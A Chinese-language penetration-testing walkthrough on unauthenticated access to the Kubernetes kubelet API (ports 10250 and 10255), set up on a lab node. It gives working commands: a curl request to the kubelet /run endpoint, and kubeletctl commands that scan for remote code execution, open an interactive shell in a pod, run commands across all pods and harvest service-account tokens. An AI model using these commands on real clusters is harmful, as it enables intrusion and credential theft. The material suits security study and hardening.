kubelet会在K8s集群中的每一个节点上运行一个实例,对容器进行生命周期的管理。kubelet开放的端口有:

  • 4194
  • 10248
  • 10250(kubelet API):是kubelet与 API Server通信的端口,定期请求 API Server获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。如果kubelet的10250端口对外暴露,攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。
  • 10255(readonly API):提供了pod和node的信息。如果对外开放,攻击者利用公开api可以获取敏感信息。

10250端口未授权访问

默认情况下是不允许访问的

现在在node节点172.16.200.71上将/var/lib/kubelet/config.yaml配置修改为如下:

将这里的mode设置为AlwaysAllow之后,那么使用API就不需要鉴权了,默认是使用WebHook

然后重启


systemctl restart kubelet

再次访问就可以看到存在未授权了


https://172.16.200.71:10250/runningpods/

但是也只能访问当前node节点的未授权,其他node节点和master节点的10250端口还是需要授权才能访问。

命令执行

首先通过未授权页面得到pod、namespace和containers。

然后可以执行如下命令


curl -XPOST -k "https://172.16.200.71:10250/run/kube-system/kube-proxy-scv7g/kube-proxy" -d "cmd=whoami"

也可以直接使用工具进行后利用:https://github.com/cyberark/kubeletctl

执行如下命令检测目标node节点上运行了哪些pod


./kubeletctl_darwin_amd64 --server 172.16.200.71 pods

执行如下命令检测目标node节点上哪些pod可以命令执行


./kubeletctl_darwin_amd64 --server 172.16.200.71 scan rce

然后就可以命令执行了,我们选第3个myapp进行命令执行,可以得到一个交互式的shell


./kubeletctl_darwin_amd64 --server 172.16.200.71 -p myapp -c container -n test exec "/bin/bash"

也可以执行如下命令在所有的pod上执行指定的命令


./kubeletctl_darwin_amd64 --server 172.16.200.71 run "hostname -i" --all-pods

Token读取

执行如下命令读取所有pod里面的token


./kubeletctl_darwin_amd64 --server 172.16.200.71 scan token

10255端口未授权访问

默认情况下该端口是不开启的,现在在node节点172.16.200.71上将/var/lib/kubelet/config.yaml配置修改为如下:

然后重启


systemctl restart kubelet

再次访问就可以看到存在未授权了

对于10255端口的未授权访问,需要通过 --http --port=10255 参数来指定。


./kubeletctl_darwin_amd64 --server 172.16.200.71 --http --port=10255 pods

并且由于10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。